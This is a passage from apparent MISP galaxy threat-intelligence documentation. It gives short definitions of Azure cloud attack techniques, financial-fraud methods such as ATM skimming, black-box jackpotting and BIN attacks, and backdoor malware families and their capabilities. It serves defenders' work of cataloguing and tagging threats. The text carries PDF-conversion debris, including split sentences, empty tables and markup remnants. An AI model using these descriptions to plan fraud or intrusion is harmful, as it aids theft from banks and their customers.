The tag is: `misp-galaxy:atrm="AZT605.2 - Automation Account Credential Secret Dump"`

AZT605.3 - Resource Group Deployment History Secret Dump

By accessing deployment history of a Resource Group, secrets used in the ARM template may be revealed.

The tag is: `misp-galaxy:atrm="AZT605.3 - Resource Group Deployment History Secret Dump"`

AZT701 - SAS URI Generation

By generating an SAS URI for a resource, an adversary may extract the contents of that resource.
without authentication at any time.

The tag is: misp-galaxy:atrm="AZT701 - SAS URI Generation"

Table 556. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701">https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701</a></td>
</tr>
</tbody>
</table>

AZT701.1 - VM Disk SAS URI

An adversary may create an SAS URI to download the disk attached to a virtual machine.

The tag is: misp-galaxy:atrm="AZT701.1 - VM Disk SAS URI"

Table 557. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-1">https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT701/AZT701-1</a></td>
</tr>
</tbody>
</table>

AZT701.2 - Storage Account File Share SAS

By generating a Shared Access Signature (SAS) URI, an adversary can access a container in a Storage Account at any time.

The tag is: misp-galaxy:atrm="AZT701.2 - Storage Account File Share SAS"

Table 558. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT702 - File Share Mounting

An adversary can generate a connection string to mount an Azure Storage Account File Share as an NFS or SMB share to their local machine.

The tag is: misp-galaxy:atrm="AZT702 - File Share Mounting"

Table 559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

AZT703 - Replication

By setting up cross-tenant replication, an adversary may set up replication from one tenant’s storage account to an external tenant's storage account.
AZT704 - Soft-Delete Recovery

An adversary may leverage resources found at a 'soft deletion' state, restore them and advance their attack by retrieving contents meant to be deleted.

The tag is: misp-galaxy:atrm="AZT704 - Soft-Delete Recovery"

AZT704.1 - Key Vault

An adversary may recover a key vault object found in a 'soft deletion' state.

The tag is: misp-galaxy:atrm="AZT704.1 - Key Vault"

AZT704.2 - Storage Account Object

An adversary may recover a storage account object found in a 'soft deletion' state.

The tag is: misp-galaxy:atrm="AZT704.2 - Storage Account Object"

AZT704.3 - Recovery Services Vault

An adversary may recover a virtual machine object found in a 'soft deletion' state.

The tag is: misp-galaxy:atrm="AZT704.3 - Recovery Services Vault"
attck4fraud

attck4fraud - Principles of MITRE ATT&CK in the fraud domain.

attck4fraud is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Francesco Bigarella - Christophe Vandeplas

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: misp-galaxy:financial-fraud="Phishing"

Table 565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/">https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/</a></td>
</tr>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Spear phishing

Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target’s organisation structure, supply chain or business.

The tag is: misp-galaxy:financial-fraud="Spear phishing"

Spear phishing is also known as:

• Spear-phishing

Table 566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: `misp-galaxy:financial-fraud="ATM skimming"`

ATM skimming is also known as:

- Skimming - CPP ATM

Table 567. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://krebsonsecurity.com/2016/06/atm-insert-skimmers-in-action/">https://krebsonsecurity.com/2016/06/atm-insert-skimmers-in-action/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green">https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green</a></td>
</tr>
<tr>
<td><a href="https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/">https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/</a></td>
</tr>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

ATM cash trapping

Trap the cash dispenser with a physical component. Type 1 are visible to the user and type 2 are hidden in the cash dispenser

The tag is: `misp-galaxy:financial-fraud="ATM cash trapping"`

ATM cash trapping is also known as:

- Cash Trapping

Table 568. Table References
ATM Shimming

ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.

The tag is: `misp-galaxy:financial-fraud="ATM Shimming"`

Vishing

Also known as voice phishing, is the criminal practice of using social engineering over the telephone system to gain access to private personal and financial information from the public for the purpose of financial reward. It is also employed by attackers for reconnaissance purposes to gather more detailed intelligence on a target organisation.

The tag is: `misp-galaxy:financial-fraud="Vishing"`

POS Skimming

CPP analysis identifies the likely merchant, POS or ATM location from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.

The tag is: `misp-galaxy:financial-fraud="POS Skimming"`

POS Skimming is also known as:

- Skimming - CPP POS
Social Media Scams

Social Media Scams

The tag is: `misp-galaxy:financial-fraud="Social Media Scams"`

Malware

Software which is specifically designed to disrupt, damage, or gain authorised access to a computer system.

The tag is: `misp-galaxy:financial-fraud="Malware"`

Account-Checking Services

Account-Checking Services

The tag is: `misp-galaxy:financial-fraud="Account-Checking Services"`

ATM Black Box Attack

Type of Jackpotting attack. Connection of an unauthorized device which sends dispense commands directly to the ATM cash dispenser in order to “cash out” the ATM.

The tag is: `misp-galaxy:financial-fraud="ATM Black Box Attack"`

ATM Black Box Attack is also known as:

- Black Box Attack

Insider Trading

Insider Trading
The tag is: misp-galaxy:financial-fraud="Insider Trading"

**Investment Fraud**

A deceptive practice in the stock or commodities markets that induces investors to make purchase or sale decisions on the basis of false information, frequently resulting in losses, in violation of securities laws.

The tag is: misp-galaxy:financial-fraud="Investment Fraud"

Table 574. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Romance Scam**

Romance scam is a confidence trick involving feigning romantic intentions towards a victim, gaining their affection, and then using that goodwill to commit fraud. Fraudulent acts may involve access to the victim's money, bank accounts, credit cards, passports, e-mail accounts, or national identification numbers; or forcing the victims to commit financial fraud on their behalf.

The tag is: misp-galaxy:financial-fraud="Romance Scam"

Romance Scam is also known as:

- Romance Fraud

Table 575. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Buying/Renting Fraud**

Buying/Renting Fraud

The tag is: misp-galaxy:financial-fraud="Buying/Renting Fraud"

**Cash Recovery Scam**

Cash Recovery Scam

The tag is: misp-galaxy:financial-fraud="Cash Recovery Scam"

**Fake Invoice Fraud**

Invoice fraud happens when a company or organisation is tricked into changing bank account
payee details for a payment. Criminals pose as regular suppliers to the company or organisation and will make a formal request for bank account details to be changed or emit false invoices.

The tag is: *misp-galaxy:financial-fraud*="Fake Invoice Fraud"

Fake Invoice Fraud is also known as:

- Invoice Fraud

Table 576. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Business Email Compromise**

Business Email Compromise

The tag is: *misp-galaxy:financial-fraud*="Business Email Compromise"

**Scam**

Scam

The tag is: *misp-galaxy:financial-fraud*="Scam"

**CxO Fraud**

CxO Fraud

The tag is: *misp-galaxy:financial-fraud*="CxO Fraud"

**Compromised Payment Cards**

The loss of or theft of a card, which is subsequently used for illegal purposes until blocked by the card issuer.

The tag is: *misp-galaxy:financial-fraud*="Compromised Payment Cards"

Compromised Payment Cards is also known as:

- Lost/Stolen Card

Table 577. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>
Compromised Account Credentials

Account takeover fraud is a form of identity theft in which the fraudster gets access to a victim’s bank or credit card accounts—through a data breach, malware or phishing—and uses them to make unauthorised transaction.

The tag is: `misp-galaxy:financial-fraud="Compromised Account Credentials"`

Compromised Account Credentials is also known as:

- Account Takeover Fraud

Table 578. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Compromised Personally Identifiable Information (PII)

Compromised Personally Identifiable Information (PII)

The tag is: `misp-galaxy:financial-fraud="Compromised Personally Identifiable Information (PII)"`

Compromised Intellectual Property (IP)

Compromised Intellectual Property (IP)

The tag is: `misp-galaxy:financial-fraud="Compromised Intellectual Property (IP)"`

SWIFT Transaction

SWIFT Transaction

The tag is: `misp-galaxy:financial-fraud="SWIFT Transaction"`

Fund Transfer

Fund Transfer

The tag is: `misp-galaxy:financial-fraud="Fund Transfer"`

Cryptocurrency Exchange

Cryptocurrency Exchange

The tag is: `misp-galaxy:financial-fraud="Cryptocurrency Exchange"`
ATM Jackpotting

ATM Jackpotting

The tag is: misp-galaxy:financial-fraud="ATM Jackpotting"

Money Mules

Money Mules

The tag is: misp-galaxy:financial-fraud="Money Mules"

Prepaid Cards

Prepaid Cards

The tag is: misp-galaxy:financial-fraud="Prepaid Cards"

Resell Stolen Data

Resell Stolen Data

The tag is: misp-galaxy:financial-fraud="Resell Stolen Data"

ATM Explosive Attack

ATM Explosive Attack

The tag is: misp-galaxy:financial-fraud="ATM Explosive Attack"

CNP – Card Not Present

A card not present transaction (CNP, MO/TO, Mail Order / Telephone Order, MOTOEC) is a payment card transaction made where the cardholder does not or cannot physically present the card for a merchant's visual examination at the time that an order is given and payment effected.

The tag is: misp-galaxy:financial-fraud="CNP – Card Not Present"

Table 579. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

CP – Card Present

A card present transaction occurs when a cardholder physically presents a card to request and authorise a financial transaction.
Merchant Fraud

Fraud that occurs when a merchant account is used without the intention of operating a legitimate business transaction.

The tag is: `misp-galaxy:financial-fraud="Merchant Fraud"`

Virtual Currency Fraud

Fraud that involves virtual currency, or virtual money, which is a type of unregulated, digital money, issued and usually controlled by its developers and used and accepted among the members of a specific virtual community.

The tag is: `misp-galaxy:financial-fraud="Virtual Currency Fraud"`

Cheque Fraud

A category of criminal acts that involve making the unlawful use of cheques in order to illegally acquire or borrow funds that do not exist within the account balance or account-holder's legal ownership. Most methods involve taking advantage the time between the negotiation of the cheque and its clearance at the cheque writer’s financial institution to draw out these funds.

The tag is: `misp-galaxy:financial-fraud="Cheque Fraud"`
Digital Fraud

Fraud perpetrated via omni-channel means to digital banking or payments channels such as home banking or other electronic services.

The tag is: `misp-galaxy:financial-fraud="Digital Fraud"`

Table 584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Mobile Fraud

Fraud perpetrated via mobile devices to digital banking, payments channels such as home banking or other electronic services, or online merchants

The tag is: `misp-galaxy:financial-fraud="Mobile Fraud"`

Table 585. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Telephone Fraud

Fraud perpetrated via land line telephone means to banking or payments channels such as home banking or other electronic services or merchants

The tag is: `misp-galaxy:financial-fraud="Telephone Fraud"`

Table 586. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Standing Order Fraud

Fraud occurs when a standing order is falsely created or adulterated. A standing order is an automated method of making payments, where a person or business instructs their bank to pay another person or business, a fixed amount of money at regular intervals. Fraud occurs when a standing order is falsely created or adulterated.

The tag is: `misp-galaxy:financial-fraud="Standing Order Fraud"`

Table 587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>
CEO/BEC Fraud

A scam in which cybercriminals spoof company email accounts and impersonate executives to try and fool an employee in accounting or HR into executing unauthorized wire transfers, or sending out confidential information.

The tag is: *misp-galaxy:financial-fraud="CEO/BEC Fraud"*

Money laundering

An illegal process of concealing the origins of money obtained illegally by passing it through a complex sequence of banking transfers or commercial transactions. The overall scheme of this process returns the money to the launderer in an obscure and indirect way.

The tag is: *misp-galaxy:financial-fraud="Money laundering"*

BIN Attack

Credit cards are produced in BIN ranges. Where an issuer does not use random generation of the card number, it is possible for an attacker to obtain one good card number and generate valid card numbers.

The tag is: *misp-galaxy:financial-fraud="BIN Attack"*

DoS - Denial of Service Attack

In computing, a denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.

The tag is: *misp-galaxy:financial-fraud="DoS - Denial of Service Attack"*
MITM - Man-in-the-Middle Attack

In cryptography and computer security, a man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other.

The tag is: misp-galaxy:financial-fraud="MITM - Man-in-the-Middle Attack"

Transaction Reversal Fraud

Unauthorized physical manipulation of ATM cash withdrawal. Appears that cash has not been dispensed – a reversal message generated – SEE FULL TERMINAL FRAUD DEFINITION

The tag is: misp-galaxy:financial-fraud="Transaction Reversal Fraud"

Transaction Message Adulteration

The data contained in an authorisation message is manipulated to try to fool the payment processor.

The tag is: misp-galaxy:financial-fraud="Transaction Message Adulteration"

First Party (Friendly) Fraud

Fraud committed against a financial institution by one of its own customers

The tag is: misp-galaxy:financial-fraud="First Party (Friendly) Fraud"
Identity Spoofing (or entity hacking)

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials. Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity.

The tag is: misp-galaxy:financial-fraud="Identity Spoofing (or entity hacking)"

Authorised Push Payment Fraud

A form of fraud in which victims are manipulated into making real-time payments to fraudsters, typically by social engineering attacks involving impersonation.

The tag is: misp-galaxy:financial-fraud="Authorised Push Payment Fraud"

Direct Debit Fraud

Direct debit fraud can take place in several ways. It is often associated with identity theft, where the scammer gains access to the bank account information by posing as the victim. They can pay for services and products via a direct debit option and use this account until its owner notices.

The tag is: misp-galaxy:financial-fraud="Direct Debit Fraud"
Extortion

Obtaining benefit through coercion

The tag is: misp-galaxy:financial-fraud="Extortion"

Table 599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Smishing

Also known as "SMS Phishing", is a form of criminal activity using social engineering techniques. SMS phishing uses cell phone text messages to deliver information and/or requests to induce people to divulge or to take action that will compromise their personal or confidential information.

The tag is: misp-galaxy:financial-fraud="Smishing"

Table 600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Shoulder Surfing

Technique used to obtain information such as personal identification numbers (PINs), passwords and other confidential data by looking over the victim’s shoulder

The tag is: misp-galaxy:financial-fraud="Shoulder Surfing"

Table 601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

Distraction

The process of diverting the attention of an individual or group from a desired area of focus and thereby blocking or diminishing the reception of desired information.

The tag is: misp-galaxy:financial-fraud="Distraction"

Table 602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>
Push Payments

Authorised push payment fraud happens when fraudsters deceive consumers or individuals at a business to send them a payment under false pretences to a bank account controlled by the fraudster. As payments made using real-time payment schemes are irrevocable, the victims cannot reverse a payment once they realise they have been conned.

The tag is: misp-galaxy:financial-fraud="Push Payments"

ATM Malware

Unauthorised software, or authorises software run in an unauthorized manner on ATM PC - SEE FULL TERMINAL FRAUD DEFINITION

The tag is: misp-galaxy:financial-fraud="ATM Malware"

Data Breach

A data breach is a security incident in which sensitive, protected or confidential data is copied, transmitted, viewed, stolen or used from a PC or Computer Network by an entity unauthorised to do so.

The tag is: misp-galaxy:financial-fraud="Data Breach"

Ransomware

A type of malicious software designed to block access to a computer system until a sum of money is paid

The tag is: misp-galaxy:financial-fraud="Ransomware"
**Fake Website**

A website that is not a legitimate venue, the site is designed to entice the visitor into revealing sensitive information, to download some form of malware or to purchase products that never arrive.

The tag is: `misp-galaxy:financial-fraud="Fake Website"`

**Fake App**

Apps in mobile devices that trick users into downloading them. They may also pose as quirky and attractive apps, providing interesting services. Once installed on a mobile device, fake apps can perform a variety of malicious routines.

The tag is: `misp-galaxy:financial-fraud="Fake App"`

**e-Skimming**

Cyber criminals introduce skimming code on e-commerce payment card processing web pages to capture credit card and personally identifiable information and send the stolen data to a domain under their control.

The tag is: `misp-galaxy:financial-fraud="e-Skimming"`

**Skimming - CPP UPT**

CPP analysis identifies Payment Terminal parking, transport, fuel, etc. locations, from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.

The tag is: `misp-galaxy:financial-fraud="Skimming - CPP UPT"`
Table 610. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Skimming - CPP Virtual Terminal**

Same as e-Skimming

The tag is: *misp-galaxy:financial-fraud="Skimming - CPP Virtual Terminal"*

Table 611. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Card Trapping**

Unauthorized physical ATM manipulation, preventing card from being returned to customer - SEE FULL TERMINAL FRAUD DEFINITION

The tag is: *misp-galaxy:financial-fraud="Card Trapping"*

Table 612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Lack of Patching / Security**

Patch management is the best practice of upgrading existing software applications to remove any weak security patches that could be exploited by hackers. Lack of proper patching allows cyber criminals to exploit systems and networks.

The tag is: *misp-galaxy:financial-fraud="Lack of Patching / Security"*

Table 613. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.association-secure-transactions.eu/industry-information/fraud-definitions/">https://www.association-secure-transactions.eu/industry-information/fraud-definitions/</a></td>
</tr>
</tbody>
</table>

**Bad implementation**

Process where an information system is deployed into a Production Environed with faults, errors or vulnerabilities

The tag is: *misp-galaxy:financial-fraud="Bad implementation"*
Deployment Error

Implementation of a system, solution or service not according to defined and tested best practices.

The tag is: `misp-galaxy:financial-fraud="Deployment Error"`

Merchant Negligence

Merchants not following best practice procedures to avoid criminal or fraudulent activity.

The tag is: `misp-galaxy:financial-fraud="Merchant Negligence"`

Implementation not according to Standards

Implementation of a system, solution or service not according to defined and tested standards.

The tag is: `misp-galaxy:financial-fraud="Implementation not according to Standards"`

Backdoor

A list of backdoor malware.

Backdoor is a cluster galaxy available in JSON format at [this location](https://www.association-secure-transactions.eu/industry-information/fraud-definitions/). The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data
WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: misp-galaxy:backdoor="WellMess"

View relationships graph

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"

Table 618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html">https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html</a></td>
</tr>
</tbody>
</table>

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.

The tag is: misp-galaxy:backdoor="Rosenbridge"

Table 619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/xoreaxeaxeaxax/rosenbridge">https://github.com/xoreaxeaxeaxax/rosenbridge</a></td>
</tr>
</tbody>
</table>
ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: misp-galaxy:backdoor="ServHelper"

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: misp-galaxy:backdoor="Rising Sun"

SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team

Table 620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"

View relationships graph

SLUB has relationships with:

• similar: *misp-galaxy:tool="SLUB Backdoor" with estimative-language:likelihood-probability="likely"

Table 622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Asruex**

Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.

The tag is: *misp-galaxy:backdoor="Asruex"

Table 623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FlowerPippi**

The tag is: *misp-galaxy:backdoor="FlowerPippi"

Table 624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: misp-galaxy:backdoor="Speculoos"

View relationships graph

Speculoos has relationships with:

- used-by: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="very-likely"

Table 625. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/">https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/</a></td>
<td></td>
</tr>
</tbody>
</table>

Mori Backdoor

Mori Backdoor has been used by Seedworm.

The tag is: misp-galaxy:backdoor="Mori Backdoor"

Table 626. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east">https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east</a></td>
<td></td>
</tr>
</tbody>
</table>

BazarBackdoor

Something that made the brute-force attacks on RDP connections easier was a new module of the notorious Trojan, TrickBot. It now seems that the TrickBot developers have a new tactic. Cybersecurity researchers have discovered a new phishing campaign that delivers a stealthy backdoor called BazarBackdoor, which can be used to compromise and gain full access to corporate networks. As is the case with 91% of cyberattacks, this one starts with a phishing email. A range of
subjects are used to personalize the emails: Customer complaints, coronavirus-themed payroll reports, or employee termination lists. All these emails contain links to documents hosted on Google Docs. To send the malicious emails, the cybercriminals use the marketing platform Sendgrid. This campaign uses spear phishing, which means that the perpetrators have made an effort to ensure that the websites sent in the emails seem legitimate and correspond to the emails subjects.

The tag is: \textit{misp-galaxy:backdoor=\textit{BazarBackdoor}}

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader
- bazaarloader

\textit{Table 627. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

\textbf{SUNBURST}

Backdoor.Sunburst is Malwarebytes’ detection name for a trojanized update to SolarWind’s Orion IT monitoring and management software.

The tag is: \textit{misp-galaxy:backdoor=\textit{SUNBURST}}

SUNBURST is also known as:
